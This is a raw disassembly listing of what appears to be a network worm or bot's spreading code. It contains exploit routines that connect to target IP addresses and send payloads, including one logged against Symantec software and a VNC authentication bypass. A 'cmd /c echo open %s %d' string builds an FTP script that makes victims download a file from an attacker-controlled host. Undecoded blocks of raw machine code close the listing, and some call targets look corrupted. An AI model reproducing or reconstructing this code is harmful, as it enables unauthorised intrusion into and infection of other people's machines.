		mov	eax, dword_43342C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433430
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433420
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EB0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_4332A0
		add	esp, 2Ch
		push	eax
		call	dword_4CB9E4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BB0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432B00
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433418
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------

loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432B00
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332E0
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683

loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------

loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	68h
		push	offset dword_432F14
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	0A0h
		push	offset dword_432F80
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433138
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_4331A4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433218
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------

loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433024
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_4330A4
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		call	near ptr 2680F3Dh
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA24
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C98
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		push	edi
		push	0A8h
		push	offset dword_432D24
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		push	edi
		push	0DEh
		push	offset dword_432DD0
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930

loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------

loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------

loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1

loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E

loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1

loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA7C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]

loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax

loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		push	dword_4CB720
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD

loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------

loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_43180Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA24
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------

loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433434
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F

loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		call	near ptr 71AB1A6Dh
		nop

loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------

loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]

loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax

loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------

loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------

loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax

loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15

loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE

loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax

loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346EC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------

loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9E4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx

loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA7C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------

loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80

loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB89C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch

loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431810[eax]
		push	ebx
		lea	eax, dword_431810[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------

loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop

loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax

loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE718
		call	dword_4CB9FC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE714
		call	near ptr 2710000h
		nop
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		nop
		call	near ptr 270116Ch
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE718
		call	dword_4CBA34
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9E4h, 6A56066Ah, 45896602h, 6415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA1015h
		dd 0FF056A00h, 15FF0875h, 4CBA0Ch, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 7815FF08h, 0A3004CBAh, 4CE718h
		dd 57F4458Dh, 0E7146850h, 1068004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE70Ch
		dd 4CE70868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE710h, 890CC483h, 0CA1BC45h, 89004CE7h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 0C8E890B4h, 50023118h, 0E70C35FFh, 0E890004Ch
		dd 23118BBh, 16E89050h,	8D023113h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346F068h
		dd 0E8905700h, 22612EDh, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 0F92E890h, 45890228h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 79E89050h, 6A02280Fh, 0F04589FFh
		dd 0E8D875FFh, 2291101h, 75FF5790h, 1895E8F0h, 57900229h
		dd 90EC75FFh, 29188AE8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 311187E8h, 1035FF02h, 0FF004CE7h,	1435FFD6h
		dd 0FF004CE7h, 835FFD6h, 0FF004CE7h, 0C35FFD6h,	0FF004CE7h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E720A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9E4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA6415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
		dd 8B022E0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 2CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA1015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB97815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0D1E89056h, 68022E0Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE720h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA1015FFh, 0C63B004Ch, 15FF5475h, 4CB978h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Eh, 0C15FF57h
		dd 3B004CBAh, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h
